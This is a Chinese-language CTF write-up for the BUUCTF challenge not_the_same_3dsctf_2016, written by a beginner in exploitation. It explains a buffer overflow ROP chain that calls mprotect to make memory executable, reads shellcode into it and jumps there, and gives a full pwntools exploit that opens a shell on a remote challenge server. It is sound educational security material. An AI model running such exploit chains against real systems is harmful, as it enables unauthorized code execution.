checksec 检查开启了什么保护
开启了nx保护
本地执行一下并没有看出啥
拉入32位ida
主函数代码,接着找找字符串
发现flag.txt,找到调用它的函数
我是个pwn小白,一开始以为直接在main的get函数里溢出覆盖返回地址到这个函数就可以了,构造payload后发现程序卡住了
然后看其他大佬的解题思路,发现从mprotect这个函数入手
32位程序参数从栈上传,但我们要保证栈平衡来让程序继续正常运行,所以我们要找三个pop,把我们构造的参数弹出去
利用工具找到我们需要的pop地址
ROPgadget --binary not_the_same_3dsctf_2016 --only "pop|ret" | grep pop
我们利用mprotect的目的是改变一个段的属性,好让我们写入的shellcode可执行
这里我们写入.got.plt段
payload = 'a' * 0x2D + p32(mprotect) + p32(pop3) + p32(addr) + p32(0x100) + p32(0x7)
这里是修改段属性为7 也就是二进制的111
payload += p32(read_addr) + p32(pop3) + p32(0) + p32(addr) + p32(len(payload1)) + p32(addr)
这里将上面执行完后返回到read函数里,然后read等待写入,写入完后再返回到addr上执行shellcode
完整exp
from pwn import *
sh = remote('node3.buuoj.cn',29737)
elf = ELF('./not_the_same_3dsctf_2016')
addr = 0x80eb000
pop3 = 0x0804f420
read_addr = elf.sym['read']
mprotect = elf.sym['mprotect']
payload1 = asm(shellcraft.sh())
payload = 'a' * 0x2D + p32(mprotect) + p32(pop3) + p32(addr) + p32(0x100) + p32(0x7)
payload += p32(read_addr) + p32(pop3) + p32(0) + p32(addr) + p32(len(payload1)) + p32(addr)
sh.sendline(payload)
sh.sendline(payload1)
sh.interactive()
小白若有理解错误的地方,欢迎各位大佬指点